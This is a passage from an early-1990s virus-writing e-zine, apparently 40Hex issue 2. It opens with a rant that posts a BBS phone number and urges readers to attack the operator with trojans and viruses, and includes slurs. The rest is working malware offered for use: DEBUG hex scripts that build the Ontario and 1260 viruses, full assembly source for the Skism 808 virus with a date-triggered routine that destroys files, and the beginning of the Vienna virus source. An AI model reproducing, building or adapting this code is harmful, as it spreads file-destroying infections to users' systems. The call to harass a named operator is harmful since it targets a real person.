  1473.      What makes us to pissed at said asshole?  Well, take into mind the
  1474.      following, from the documentation of FLU-SHOT.
  1475.  
  1476. ------------------------------------------------------------------------------
  1477.  
  1478.              The Challenge to the Worm
  1479.         =========================
  1480.  
  1481.         When I first released a program to try to thwart their demented 
  1482.         little efforts, I published this letter in the archive (still in 
  1483.         the FLU_SHOT+ archive of which this is a part of).  What I say in 
  1484.         it still holds:
  1485.  
  1486.                     As for the designer of the virus program: most 
  1487.                     likely an impotent adolescent, incapable of 
  1488.                     normal social relationships, and attempting to 
  1489.                     prove their own worth to themselves through 
  1490.                     these type of terrorist attacks.
  1491.  
  1492.                     Never succeeding in that task (or in any 
  1493.                     other), since they have no worth, they will one 
  1494.                     day take a look at themselves and what they've 
  1495.                     done in their past, and kill themselves in 
  1496.                     disgust.  This is a Good Thing, since it saves 
  1497.                     the taxpayers' money which normally would be 
  1498.                     wasted on therapy and treatment of this 
  1499.                     miscreant.
  1500.  
  1501.                     If they *really* want a challenge, they'll try 
  1502.                     to destroy *my* hard disk on my BBS, instead of 
  1503.                     the disk of some innocent person.  I challenge 
  1504.                     them to upload a virus or other Trojan horse to 
  1505.                     my BBS that I can't disarm.  It is doubtful the 
  1506.                     challenge will be taken: the profile of such a 
  1507.                     person prohibits them from attacking those who 
  1508.                     can fight back.  Alas, having a go with this  
  1509.                     lowlife would be amusing for the five minutes 
  1510.                     it takes to disarm whatever they invent.
  1511.  
  1512.                     Go ahead, you good-for-nothing little 
  1513.                     slimebucket:  make *my* day!
  1514.  
  1515. ------------------------------------------------------------------------------
  1516.  
  1517.      Funny isen't it?  Well Mr. Dickburg, I am not an adolesent, nor am
  1518.      I impotent.  I lead quite a healty social life, and have no sucidal
  1519.      urges.  What I am is a person who (mabey because of some deep down
  1520.      psycological disorder) finds joy in seeing some geeked out,
  1521.      computer nerds system go down the drain in a flash.
  1522.  
  1523.      Oh yes there are others like me out there, many others.  It (virus
  1524.      writing) is a joke.  It is done for a good laugh, to see dickheads
  1525.      like you lose time and money.  So my friend, at this time I start
  1526.      an active campain after you ass.
  1527.  
  1528.      Anyone out there who wants to make some dicks day, call this
  1529.      assholes cheap BBS and lets take him down.   The number is
  1530.      (212)-889-6438.   Trojans, Ansi-Bombs, and all Viruses are acepted.
  1531.      Go to it!
  1532.  
  1533.  
  1534.  
  1535.  
  1536.  
  1537.  
  1538. 40Hex Volume 1 Issue 2                                                   0008
  1539.  
  1540.                            The Ontario Virus
  1541.  
  1542.  
  1543.       Here a quick nice little virus from our boyz up north.
  1544.  
  1545.  V Status:    Rare
  1546.  Discovered:  July, 1990
  1547.  Symptoms:    .COM & .EXE growth; decrease in system and free memory;
  1548.               hard disk errors in the case of extreme infections
  1549.  Origin:      Ontario, Canada
  1550.  Eff Length:  512 Bytes
  1551.  Type Code:   PRtAK - Parasitic Encrypted Resident .COM & .EXE Infector
  1552.  Detection Method:  ViruScan V66+, Pro-Scan 2.01+, NAV
  1553.  Removal Instructions:  SCAN /D, or Delete infected files
  1554.  General Comments:
  1555.        The Ontario Virus was isolated by Mike Shields in Ontario, Canada
  1556.        in July, 1990.  The Ontario virus is a memory resident infector of
  1557.        .COM, .EXE, and overlay files.  It will infect COMMAND.COM.
  1558.  
  1559.        The first time a program infected with the Ontario Virus is executed,
  1560.        it will install itself memory resident above the top of system memory
  1561.        but below the 640K DOS boundary.  Total system memory and free memory
  1562.        will be decreased by 2,048 bytes.  At this time, the virus will
  1563.        infect COMMAND.COM on the C: drive, increasing its length by 512 bytes.
  1564.  
  1565.        Each time an uninfected program is executed on the system with the
  1566.        virus memory resident, the program will become infected with the viral
  1567.        code located at the end of the file.  For .COM files, they will
  1568.        increase by 512 bytes in all cases.  For .EXE and overlay files, the
  1569.        file length increase will be 512 - 1023 bytes.  The difference in
  1570.        length for .EXE and overlay files is because the virus will fill out
  1571.        the unused space at the end of the last sector of the uninfected file
  1572.        with random data (usually a portion of the directory) and then append
  1573.        itself to the end of the file at the next sector.  Systems using
  1574.        a sector size of more than 512 bytes may notice larger file increases
  1575.        for infected files.  Infected files will always have a file length
  1576.        that is a multiple of the sector size on the disk.
  1577.  
  1578.        In the case of extreme infections of the Ontario Virus, hard disk
  1579.        errors may be noticed.
  1580.  
  1581.        Ontario uses a complex encryption routine, and a simple identification
  1582.        string will not identify this virus.
  1583.  
  1584.  
  1585. ------------------------------------------------------------------------------
  1586.  
  1587. n ontario.com
  1588. e 0100  E9 1D 00 1D 66 65 63 74 65 64 20 50 72 6F 67 72
  1589. e 0110  61 6D 2E 20 0D 0A 24 BA 02 01 B4 09 CD 21 CD 20
  1590. e 0120  90 E8 E9 01 93 84 7B D9 F8 69 7C 3C 84 7B B6 A5
  1591. e 0130  71 60 0F CB 65 B7 BB 0A A3 07 55 97 7F 86 BE 9A
  1592. e 0140  FF 84 55 0D E5 84 79 AA F7 1A 79 86 F7 47 30 0A
  1593. e 0150  A0 05 55 87 7B 04 7B 25 69 84 56 04 7B 27 69 84
  1594. e 0160  F5 44 75 9B F0 71 48 7B C2 80 79 78 88 20 F5 5D
  1595. e 0170  81 43 7D 00 7B FB 7B 27 FD 84 80 3C 84 CF B6 A5
  1596. e 0180  64 9A 7C 8F 96 F0 77 09 CD FF 7B 3B 7B 85 2C 78
  1597. e 0190  DE 21 B8 08 BB AA 7A 82 06 84 91 6F 6E CD 15 B9
  1598. e 01A0  84 7B 0E 86 3B 4B FB 78 30 F1 6F B8 78 F0 6B B8
  1599. e 01B0  84 F1 72 8A 64 3E A6 85 93 8D 7B 4B 93 81 7B AA
  1600. e 01C0  84 AA 7B 86 7D 9A 29 D5 28 D4 C3 84 38 6C 5D 85
  1601. e 01D0  09 9C 8D 45 7A F0 70 04 9A 7A C3 85 38 6C 6D 85
  1602. e 01E0  09 8C C3 86 46 6C 75 85 08 87 92 86 7A 0F A3 8A
  1603. e 01F0  64 3C 7B D3 93 7B 7B 0D 75 80 79 0D 6D 82 79 3E
  1604. e 0200  73 86 C2 9F 7B 30 44 6C 97 84 09 CC FA BA 73 86
  1605. e 0210  36 DE 0F BD DB 8D 79 BE 7D 8F 79 F0 4C B7 A9 B7
  1606. e 0220  B2 3C 79 C6 93 4B 7B F6 50 B9 7B 64 0C A2 2B 25
  1607. e 0230  73 86 D8 FF 7B 25 71 86 D8 F9 7B DC 56 87 7B 42
  1608. e 0240  7D 8C 79 6D D8 8D 79 26 70 86 90 CD EB 07 45 98
  1609. e 0250  79 85 0E 87 92 01 7B 25 77 86 C2 84 79 73 9A D4
  1610. e 0260  29 35 7F 57 B1 57 93 87 B9 AF 7D 94 79 D4 DA 98
  1611. e 0270  79 27 00 84 DA 9A 79 81 6B 84 D8 F9 7B DC D8 9A
  1612. e 0280  79 43 7D 98 79 85 7B 7B 7D 88 79 DD 21 3C 7B C6
  1613. e 0290  93 E7 7B F6 3C 04 4D 7C 7A 8C 48 44 F5 5C DB E8
  1614. e 02A0  7F 8A 64 8A 7C 26 97 85 48 72 C4 A0 79 D3 C2 84
  1615. e 02B0  79 78 88 20 C5 AC 79 6C 21 84 21 3D 7B 86 CF C4
  1616. e 02C0  93 B7 7B F6 6C B7 B2 B7 A9 3C 7B C6 93 A3 7B F6
  1617. e 02D0  70 3E 73 86 C2 9F 7B 30 3B 6C 61 84 F0 92 7D 86
  1618. e 02E0  F0 8A 7F 86 C3 85 2C 6C 77 84 CF BA 93 83 7B DC
  1619. e 02F0  20 DD 21 9B 7C 47 E7 AA 84 9A 7B 86 B8 C7 41 D8
  1620. e 0300  38 CB 36 C9 3A CA 3F AA 38 CB 36 84 84 5E 56 2E
  1621. e 0310  8A 84 E8 01 B9 E8 01 F6 D0 2E 30 04 46 E2 F8 C3
  1622.  
  1623. rcx
  1624. 220
  1625. w
  1626. q
  1627.  
  1628. ------------------------------------------------------------------------------
  1629.  
  1630.  
  1631.  
  1632.                                                                             HR
  1633. 40Hex Volume 1 Issue 2                                                   0009
  1634.  
  1635.                              The 1260 Virus
  1636.  
  1637.      Here's a nice little encrypting virus written in America.
  1638.  
  1639.  Aliases:     V2P1
  1640.  V Status:    Research
  1641.  Discovery:   January, 1990
  1642.  Symptoms:    .COM file growth
  1643.  Origin:      Minnesota, USA
  1644.  Eff Length:  1,260 Bytes
  1645.  Type Code:   PNC - Parasitic Encrypting Non-Resident .COM Infector
  1646.  Detection Method:  ViruScan V57+, IBM Scan, Pro-Scan 1.4+, F-Prot 1.12+,
  1647.               AVTK 3.5+, VirHunt 2.0+, NAV
  1648.  Removal Instructions: CleanUp V57+, Pro-Scan 1.4+, F-Prot 1.12+, VirHunt 2.0+
  1649.  General Comments:
  1650.        The 1260 virus was first isolated in January, 1990.  This
  1651.        virus does not install itself resident in memory, but is it
  1652.        extremely virulent at infecting .COM files.  Infected files
  1653.        will have their length increased by 1,260 bytes, and the
  1654.        resulting file will be encrypted.  The encryption key changes
  1655.        with each infection which occurs.
  1656.  
  1657.        The 1260 virus is derived from the original Vienna Virus, though
  1658.        it is highly modified.
  1659.  
  1660.        This virus was developed as a research virus by Mark Washburn, who
  1661.        wished to show the anti-viral community why identification string
  1662.        scanners do not work in all cases.  The encryption used in 1260 is
  1663.        one of many possible cases of the encryption which may occur with
  1664.        Washburn's later research virus, V2P2.
  1665.  
  1666.  
  1667. ------------------------------------------------------------------------------
  1668.  
  1669. n 1260.com
  1670. e 0100  E9 1D 00 6E 66 65 63 74 65 64 20 50 72 6F 67 72
  1671. e 0110  61 6D 2E 20 0D 0A 24 BA 02 01 B4 09 CD 21 CD 20
  1672. e 0120  90 B8 89 86 4B B9 FD 04 FC 46 BF 47 01 90 2B DA
  1673. e 0130  31 0D 33 D1 2B D8 31 05 47 42 4B 40 90 E2 EE 4B
  1674. e 0140  4B 42 47 43 42 F8 47 FF 18 71 18 D2 A5 40 19 E2
  1675. e 0150  6D B4 08 F8 5C FA F4 A6 EB 08 55 F2 F4 73 82 1A
  1676. e 0160  65 C4 C4 4F 82 24 55 FA F4 7B B2 16 55 F4 E4 6F
  1677. e 0170  A2 00 1F F9 0C C2 F7 7D 06 73 32 66 F4 45 84 87
  1678. e 0180  3D 81 84 7A 77 5E 7F 04 40 C2 39 D7 C8 FA 28 C1
  1679. e 0190  B6 E1 0D 64 E6 FC 40 D9 39 D3 38 FA 71 A4 38 0A
  1680. e 01A0  6B E1 82 38 C3 71 22 77 36 13 F4 42 EE 37 C5 E0
  1681. e 01B0  B2 6C E2 CA E4 45 F4 F6 AA A4 75 30 68 FA A8 BE
  1682. e 01C0  05 83 F7 A9 BC FF F5 5B 5B 86 18 15 0F A5 E2 6E
  1683. e 01D0  9B 17 6E 39 64 3D 54 F7 7E 0D 1E CD 65 37 46 B9
  1684. e 01E0  31 C3 B0 C3 2C DF F7 3B EB A5 D3 79 EB D7 E5 6C
  1685. e 01F0  1B C5 6E 91 11 7A 32 56 F5 5F C9 CC 81 F0 B9 87
  1686. e 0200  F1 87 2F 6C 71 37 4B F7 F5 A8 EA 7E 83 0F 65 1A
  1687. e 0210  1A 97 E6 57 B9 51 7C 89 07 78 06 76 33 6D C5 7E
  1688. e 0220  C3 C3 36 63 4E 08 41 B9 7E 25 74 35 54 FB 5C E4
  1689. e 0230  E5 2E C4 0C E3 6B 39 43 BA 3E D4 84 F6 10 9A CB
  1690. e 0240  8E 87 F2 07 21 E4 CE EF 86 19 73 4C 09 FC E2 18
  1691. e 0250  96 01 61 5C 19 FC F8 84 2C 7F 8C 02 A4 7D 04 3F
  1692. e 0260  C2 68 68 FC C2 89 08 AE 4A F4 B1 7B 24 7D 20 41
  1693. e 0270  E2 29 C3 69 AC 0A 4A F1 B1 75 13 0E 0D 77 54 01
  1694. e 0280  40 25 82 4D A3 44 F0 CD 79 22 73 32 53 FC 2F C1
  1695. e 0290  91 E0 0B 88 E3 30 79 28 4A F4 A5 3D D3 75 8C 38
  1696. e 02A0  4B 92 38 74 FD 45 F1 F0 79 22 73 32 62 FC 2F C1
  1697. e 02B0  2E BF CB FA 2E 09 3A F3 F2 38 B0 C7 E3 30 7A CF
  1698. e 02C0  0F 49 C1 3E 85 F3 FD 45 FD FB 30 DE 8E F0 04 FA
  1699. e 02D0  EC 27 67 36 21 2C A9 37 AC 37 78 57 FE F3 01 2F
  1700. e 02E0  A4 4F 59 CF 4C 32 20 FB 31 9F 12 01 31 87 18 00
  1701. e 02F0  42 E8 21 7D F6 FE 49 D3 30 DA CE 2E 31 0D FA D9
  1702. e 0300  7D 47 4C A6 A9 F2 31 37 BE BD 0D 33 1A 31 12 EF
  1703. e 0310  21 CF CC 2A E9 3F 31 BA BB 13 31 78 F3 77 CA CF
  1704. e 0320  94 07 CD 4E 0C D4 FC 76 71 FA FD 33 6D 8B 17 EF
  1705. e 0330  66 AD 1D 23 D3 44 BB 15 74 7F F9 FF 31 1A 6F F1
  1706. e 0340  C1 08 8F E0 D0 F0 30 2E A7 24 7D 3D DB F2 2B A8
  1707. e 0350  0A ED EC 06 F8 F3 75 80 12 7B 3F EE FC 3E EA 2F
  1708. e 0360  8A 2C 4F CE 00 BE 58 FF FD 7B 3F EE FC 3E 5B B1
  1709. e 0370  14 EA 55 EC EC 79 8A 12 30 00 87 38 D9 F2 7F 2A
  1710. e 0380  07 CC 62 A5 4B BD 56 75 B2 16 7D 17 4A F1 D7 21
  1711. e 0390  98 E3 56 EE EC 1A 4A FE 17 17 30 75 8A 1E 9A 45
  1712. e 03A0  32 06 6D D6 F5 F2 7D 38 AB FA 30 C2 41 35 E2 EC
  1713. e 03B0  67 3D 1F 4A B2 A9 14 6C FC FF FA FE AC 0D EE C3
  1714. e 03C0  E4 90 2E 32 E1 F7 31 9C EB E7 45 FF BF 4A ED EF
  1715. e 03D0  57 EB ED 22 CC 81 F2 4B BD 42 FE FF 31 27 92 19
  1716. e 03E0  4C 09 5E CF 00 D2 76 A9 07 70 B3 07 7C 12 0D 10
  1717. e 03F0  6C 22 F2 EF 55 F2 AA 32 DC 4F C3 32 DC 4B 8C CC
  1718. e 0400  06 C5 7B 04 5B 72 3F 5E FD 36 DC E1 76 A5 11 61
  1719. e 0410  B3 15 59 F5 20 D2 E2 A6 CE 3B CE 24 CE 21 FE 39
  1720. e 0420  46 2E 72 CF CC A4 15 51 FD 38 76 B1 0D 72 1C D3
  1721. e 0430  6C 6A 2C A7 7F 22 34 2E 34 2A 34 76 B3 03 8C EE
  1722. e 0440  0A 0B 5C 4E 3E 33 07 2F 2E A1 3D A4 AE 33 06 35
  1723. e 0450  11 6D 3E 99 17 FB 2E 77 3F 29 1E AC 29 7B 06 94
  1724. e 0460  8E 1F CD 8A 22 7B 0E 0F 5A 3B 44 FC FE 18 30 13
  1725. e 0470  65 2A CD AA 08 CB B8 1A 8B 0B 3D AF 75 2C DE DA
  1726. e 0480  05 FF 8C 73 C9 F2 77 8A 1A 54 CE F8 74 B7 E9 E0
  1727. e 0490  EF 60 A9 EB B0 A8 A5 33 AD 73 22 AC A8 7B B8 28
  1728. e 04A0  62 F8 CA 46 89 F7 DA 02 76 BF F9 A2 A6 AB 21 70
  1729. e 04B0  F0 B8 56 EC EE A0 E1 77 B8 14 D3 7E FE 0A AD 03
  1730. e 04C0  0D 80 4B E3 20 96 FD 5C F9 FB F3 A7 5E F5 ED 4C
  1731. e 04D0  E3 EB 16 B7 F2 6E 3E 63 E3 AB 45 FF FD A3 D2 44
  1732. e 04E0  8B 2B 37 6C C1 F3 76 B9 21 58 F9 FF 76 B5 33 4C
  1733. e 04F0  EB EB 66 A9 0F 50 F3 FF 06 A3 E2 62 3E 4C CA 8E
  1734. e 0500  35 02 0B 36 70 F7 05 03 BB B0 6D CE F8 C2 E0 DC
  1735. e 0510  3C D8 34 C4 35 D8 24 D4 27 6B BD B8 BE B5 8F 37
  1736. e 0520  86 5B 2F 28 CE F3 FE FC FE FD FC F6 FC F9 EC E4
  1737. e 0530  EC E7 EC E2 EF FD FF EF FF E9 FF EB FF E5 0F 17
  1738. e 0540  0F 11 0C 13 0C EE FD E0 FD E5 FD DE FD D3 ED CC
  1739. e 0550  ED C9 ED CA 67 BC 14 75 BA 10 77 00 7D 1D 7A CD
  1740. e 0560  24 EB CC 7A 8C 4B 10 FA 77 2C 7D 14 21 F1 21 CF
  1741. e 0570  70 BA 67 A0 04 79 BA 14 77 04 7D 11 4A F1 64 8D
  1742. e 0580  8C D2 11 4D BD F7 CD F3 BC BD 1E 06 3F 19 F9 A7
  1743. e 0590  05 F7 EC C4 C2 B1 B3 B3 FC AA BD AA B4 CF 98 87
  1744. e 05A0  82 93 E2 8D 83 BF FC B3 FC FA FC FE FC F2 EC EE
  1745. e 05B0  EC EA EC EE EC F2 FC FE FC FA FC FE FC F2 0C 0F
  1746. e 05C0  0D 0B 0D 0F 0D F3 FD FF FD FB FD FF FD F3 ED EF
  1747. e 05D0  ED EB ED EF ED F3 FD FF FD FB FD FF FD F3 CF F0
  1748. e 05E0  F2 F4 F2 F0 F2 CC C2 BC B2 B6 FE FC FD F3 ED EF
  1749. e 05F0  ED EB ED CF CA 97 A6 ED DD FB FD FF A9 BA C3 D6
  1750. e 0600  A3 C8 C2 C2 8D BE FD B2 FD FB FD FF 1A 1A 1A 1A
  1751.  
  1752. rcx
  1753. 50C
  1754. w
  1755. q
  1756.  
  1757. ------------------------------------------------------------------------------
  1758.  
  1759.  
  1760.                                                                          HR
  1761. 40Hex Volume 1 Issue 2                                                   0010
  1762.  
  1763.                              The 808 Virus
  1764.  
  1765.      Here another virus from Skism.  It's a quick overwriting virus but
  1766.      you can use the source code to write your own viruses.
  1767.  
  1768. ------------------------------------------------------------------------------
  1769.  
  1770. ;The Skism 808 Virus.  Created 1991 by Smart Kids Into Sick Methods.
  1771.  
  1772.  
  1773.  
  1774. filename   EQU      30                 ;used to find file name
  1775. fileattr   EQU      21                 ;used to find file attributes
  1776. filedate   EQU      24                 ;used to find file date
  1777. filetime   EQU      22                 ;used to find file time
  1778.  
  1779.  
  1780.  
  1781. code_start EQU      0100h              ;start of all .COM files
  1782. virus_size EQU      808                ;TR 808
  1783.  
  1784.  
  1785. code     segment  'code'
  1786. assume   cs:code,ds:code,es:code
  1787.          org      code_start
  1788.  
  1789. main proc   near
  1790.  
  1791. jmp    virus_start
  1792.  
  1793. encrypt_val    db     00h
  1794.  
  1795. virus_start:
  1796.  
  1797.      call     encrypt                  ;encrypt/decrypt file
  1798.      jmp      virus                    ;go to start of code
  1799.  
  1800. encrypt:
  1801.  
  1802.      push     cx
  1803.      mov      bx,offset virus_code     ;start encryption at data
  1804.  
  1805. xor_loop:
  1806.  
  1807.      mov      ch,[bx]                  ;read current byte
  1808.      xor      ch,encrypt_val           ;get encryption key
  1809.      mov      [bx],ch                  ;switch bytes
  1810.      inc      bx                       ;move bx up a byte
  1811.      cmp      bx,offset virus_code+virus_size
  1812.                                        ;are we done with the encryption
  1813.      jle      xor_loop                 ;no?  keep going
  1814.      pop      cx
  1815.      ret
  1816.  
  1817.  
  1818. infectfile:
  1819.  
  1820.      mov     dx,code_start             ;where virus starts in memory
  1821.      mov     bx,handle                 ;load bx with handle
  1822.      push    bx                        ;save handle on stack
  1823.      call    encrypt                   ;encrypt file
  1824.      pop     bx                        ;get back bx
  1825.      mov     cx,virus_size             ;number of bytes to write
  1826.      mov     ah,40h                    ;write to file
  1827.      int     21h                       ;
  1828.      push    bx
  1829.      call    encrypt                   ;fix up the mess
  1830.      pop     bx
  1831.      ret
  1832.  
  1833. virus_code:
  1834.  
  1835. wildcards    db     "*",0              ;search for directory argument
  1836. filespec     db     "*.EXE",0          ;search for EXE file argument
  1837. filespec2    db     "*.*",0
  1838. rootdir      db     "\",0              ;argument for root directory
  1839. dirdata      db     43 dup (?)         ;holds directory DTA
  1840. filedata     db     43 dup (?)         ;holds files DTA
  1841. diskdtaseg   dw     ?                  ;holds disk dta segment
  1842. diskdtaofs   dw     ?                  ;holds disk dta offset
  1843. tempofs      dw     ?                  ;holds offset
  1844. tempseg      dw     ?                  ;holds segment
  1845. drivecode    db     ?                  ;holds drive code
  1846. currentdir   db     64 dup (?)         ;save current directory into this
  1847. handle       dw     ?                  ;holds file handle
  1848. orig_time    dw     ?                  ;holds file time
  1849. orig_date    dw     ?                  ;holds file date
  1850. orig_attr    dw     ?                  ;holds file attr
  1851. idbuffer     dw     2 dup  (?)         ;holds virus id
  1852.  
  1853. virus:
  1854.  
  1855.       mov    ax,3000h                  ;get dos version
  1856.       int    21h                       ;
  1857.       cmp    al,02h                    ;is it at least 2.00?
  1858.       jb     bus1                      ;won't infect less than 2.00
  1859.       mov    ah,2ch                    ;get time
  1860.       int    21h                       ;
  1861.       mov    encrypt_val,dl            ;save m_seconds to encrypt val so
  1862.                                        ;theres 100 mutations possible
  1863. setdta:
  1864.  
  1865.      mov     dx,offset dirdata         ;offset of where to hold new dta
  1866.      mov     ah,1ah                    ;set dta address
  1867.      int     21h                       ;
  1868.  
  1869. newdir:
  1870.  
  1871.      mov     ah,19h                    ;get drive code
  1872.      int     21h                       ;
  1873.      mov     dl,al                     ;save drivecode
  1874.      inc     dl                        ;add one to dl, because functions differ
  1875.      mov     ah,47h                    ;get current directory
  1876.      mov     si, offset currentdir     ;buffer to save directory in
  1877.      int     21h                       ;
  1878.  
  1879.      mov     dx,offset rootdir         ;move dx to change to root directory
  1880.      mov     ah,3bh                    ;change directory to root
  1881.      int     21h                       ;
  1882.  
  1883. scandirs:
  1884.  
  1885.      mov     cx,13h                    ;include hidden/ro directorys
  1886.      mov     dx, offset wildcards      ;look for '*'
  1887.      mov     ah,4eh                    ;find first file
  1888.      int     21h                       ;
  1889.      cmp     ax,12h                    ;no first file?
  1890.      jne     dirloop                   ;no dirs found? bail out
  1891.  
  1892. bus1:
  1893.  
  1894.       jmp    bus
  1895.  
  1896. dirloop:
  1897.  
  1898.      mov     ah,4fh                    ;find next file
  1899.      int     21h                       ;
  1900.      cmp     ax,12h
  1901.      je      bus                       ;no more dirs found, roll out
  1902.  
  1903. chdir:
  1904.  
  1905.      mov     dx,offset dirdata+filename;point dx to fcb - filename
  1906.      mov     ah,3bh                    ;change directory
  1907.      int     21h                       ;
  1908.  
  1909.      mov     ah,2fh                    ;get current dta address
  1910.      int     21h                       ;
  1911.      mov     [diskdtaseg],es           ;save old segment
  1912.      mov     [diskdtaofs],bx           ;save old offset
  1913.      mov     dx,offset filedata        ;offset of where to hold new dta
  1914.      mov     ah,1ah                    ;set dta address
  1915.      int     21h                       ;
  1916.  
  1917. scandir:
  1918.  
  1919.      mov     cx,07h                    ;find any attribute
  1920.      mov     dx,offset filespec        ;point dx to "*.COM",0
  1921.      mov     ah,4eh                    ;find first file function
  1922.      int     21h                       ;
  1923.      cmp     ax,12h                    ;was file found?
  1924.      jne     transform
  1925.  
  1926. nextexe:
  1927.  
  1928.      mov     ah,4fh                    ;find next file
  1929.      int     21h                       ;
  1930.      cmp     ax,12h                    ;none found
  1931.      jne     transform                 ;found see what we can do
  1932.  
  1933.      mov     dx,offset rootdir         ;move dx to change to root directory
  1934.      mov     ah,3bh                    ;change directory to root
  1935.      int     21h                       ;
  1936.      mov     ah,1ah                    ;set dta address
  1937.      mov     ds,[diskdtaseg]           ;restore old segment
  1938.      mov     dx,[diskdtaofs]           ;restore old offset
  1939.      int     21h                       ;
  1940.      jmp     dirloop
  1941.  
  1942.  
  1943. bus:
  1944.  
  1945.      jmp     rollout
  1946.  
  1947. transform:
  1948.  
  1949.      mov     ah,2fh                    ;temporally store dta
  1950.      int     21h                       ;
  1951.      mov     [tempseg],es              ;save old segment
  1952.      mov     [tempofs],bx              ;save old offset
  1953.      mov     dx, offset filedata + filename
  1954.  
  1955.      mov     bx,offset filedata               ;save file...
  1956.      mov     ax,[bx]+filedate          ;date
  1957.      mov     orig_date,ax              ;
  1958.      mov     ax,[bx]+filetime          ;time
  1959.      mov     orig_time,ax              ;    and
  1960.      mov     ax,[bx]+fileattr          ;
  1961.      mov     ax,4300h
  1962.      int     21h
  1963.      mov     orig_attr,cx
  1964.      mov     ax,4301h                  ;change attributes
  1965.      xor     cx,cx                     ;clear attributes
  1966.      int     21h                       ;
  1967.      mov     ax,3d00h                  ;open file - read
  1968.      int     21h                       ;
  1969.      jc      fixup                     ;error - find another file
  1970.      mov     handle,ax                 ;save handle
  1971.      mov     ah,3fh                    ;read from file
  1972.      mov     bx,handle                 ;move handle to bx
  1973.      mov     cx,02h                    ;read 2 bytes
  1974.      mov     dx,offset idbuffer        ;save to buffer
  1975.      int     21h                       ;
  1976.  
  1977.      mov     ah,3eh                    ;close file for now
  1978.      mov     bx,handle                 ;load bx with handle
  1979.      int     21h                       ;
  1980.  
  1981.      mov     bx, idbuffer              ;fill bx with id string
  1982.      cmp     bx,02ebh                  ;infected?
  1983.      jne     doit                      ;same - find another file
  1984.  
  1985.  
  1986. fixup:
  1987.      mov     ah,1ah                    ;set dta address
  1988.      mov     ds,[tempseg]              ;restore old segment
  1989.      mov     dx,[tempofs]              ;restore old offset
  1990.      int     21h                       ;
  1991.      jmp     nextexe
  1992.  
  1993.  
  1994. doit:
  1995.  
  1996.      mov     dx, offset filedata + filename
  1997.      mov     ax,3d02h                  ;open file read/write access
  1998.      int     21h                       ;
  1999.      mov     handle,ax                 ;save handle
  2000.  
  2001.      call    infectfile
  2002.  
  2003.      ;mov     ax,3eh                    ;close file
  2004.      ;int     21h
  2005.  
  2006. rollout:
  2007.  
  2008.      mov     ax,5701h                  ;restore original
  2009.      mov     bx,handle                 ;
  2010.      mov     cx,orig_time              ;time and
  2011.      mov     dx,orig_date              ;date
  2012.      int     21h                       ;
  2013.  
  2014.      mov     ax,4301h                  ;restore original attributes
  2015.      mov     cx,orig_attr
  2016.      mov     dx,offset filedata + filename
  2017.      int     21h
  2018.      ;mov     bx,handle
  2019.      ;mov     ax,3eh                   ;close file
  2020.      ;int     21h
  2021.      mov     ah,3bh                    ;try to fix this
  2022.      mov     dx,offset rootdir         ;for speed
  2023.      int     21h                       ;
  2024.      mov     ah,3bh                    ;change directory
  2025.      mov     dx,offset currentdir      ;back to original
  2026.      int     21h                       ;
  2027.      mov     ah,2ah                    ;check system date
  2028.      int     21h                       ;
  2029.      cmp     cx,1991                   ;is it at least 1991?
  2030.      jb      audi                      ;no? don't do it now
  2031.      cmp     dl,25                     ;is it the 25th?
  2032.      jb      audi                      ;not yet? quit
  2033.      cmp     al,5                      ;is Friday?
  2034.      jne     audi                      ;no? quit
  2035.      mov     dx,offset dirdata         ;offset of where to hold new dta
  2036.      mov     ah,1ah                    ;set dta address
  2037.      int     21h                       ;
  2038.      mov     ah,4eh                    ;find first file
  2039.      mov     cx,7h                     ;
  2040.      mov     dx,offset filespec2       ;offset *.*
  2041.  
  2042. Loops:
  2043.  
  2044.      int     21h                       ;
  2045.      jc      audi                      ;error? then quit
  2046.      mov     ax,4301h                  ;find all normal files
  2047.      xor     cx,cx                     ;
  2048.      int     21h                       ;
  2049.      mov     dx,offset dirdata + filename
  2050.      mov     ah,3ch                    ;fuck up all files in current dir
  2051.      int     21h                       ;
  2052.      jc      audi                      ;error? quit
  2053.      mov     ah,4fh                    ;find next file
  2054.      jmp     loops                     ;
  2055.  
  2056. audi:
  2057.  
  2058.      mov     ax,4c00h                  ;end program
  2059.      int     21h                       ;
  2060.  
  2061. ;The below is just text to pad out the virus size to 808 bytes.  Don't
  2062. ;just change the text and claim that this is your creation.
  2063.  
  2064.  
  2065. words_   db   "Skism Rythem Stack Virus-808. Smart Kids Into Sick Methods",0
  2066. words2   db   "  Dont alter this code into your own strain, faggit.      ",0
  2067. words3   db   "  HR/SSS NYCity, this is the fifth of many, many more....",0
  2068. words4   db   "  You sissys.....",0
  2069.  
  2070. main     endp
  2071. code     ends
  2072.          end      main
  2073.  
  2074.  
  2075. ------------------------------------------------------------------------------
  2076.  
  2077.                                                                         HR
  2078. 40Hex Volume 1 Issue 2                                                   0011
  2079.  
  2080.                       Vienna and Violator Viruses
  2081.  
  2082.     The Vienna virus, since it's source code was released, has become
  2083.     one of the most common viruses ever.  Not only that but there are
  2084.     over 20 known strains of this virus.  We at 40Hex want to add on to
  2085.     the list by giving out the source for the orginal Vienna virus as
  2086.     well as the Violator-B source by Rabid.
  2087.  
  2088. ------------------------------------------------------------------------------
  2089.  
  2090. MOV_CX  MACRO   X
  2091.         DB      0B9H
  2092.         DW      X
  2093. ENDM
  2094.  
  2095.  
  2096. CODE    SEGMENT
  2097.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  2098.         ORG     $+0100H
  2099.  
  2100. ;*****************************************************************************
  2101. ;Start out with a JMP around the remains of the original .COM file, into the
  2102. ;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
  2103. ;The rest of the file (first 3 bytes) are stored in the virus data area.
  2104. ;*****************************************************************************
  2105.  
  2106. VCODE:  JMP     virus
  2107.  
  2108.  
  2109. ;This was the rest  of the original .COM file. Tiny and simple, this time
  2110.  
  2111.         NOP
  2112.         NOP
  2113.         NOP
  2114.         NOP
  2115.         NOP
  2116.         NOP
  2117.         NOP
  2118.         NOP
  2119.         NOP
  2120.         NOP
  2121.         NOP
  2122.         NOP
  2123.         NOP
  2124.         NOP
  2125.         NOP
  2126.  
  2127.  
  2128. ;************************************************************
  2129. ;              The actual virus starts here
  2130. ;************************************************************
  2131.  
  2132. v_start equ     $
  2133.  
  2134.  
  2135. virus:  PUSH    CX
  2136.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  2137.                                         ; The 2nd and 3rd bytes get modified.
  2138.         CLD                             ;Pointers will be auto INcremented
  2139.         MOV     SI,DX                   ;Access data as offset from SI
  2140.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  2141.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
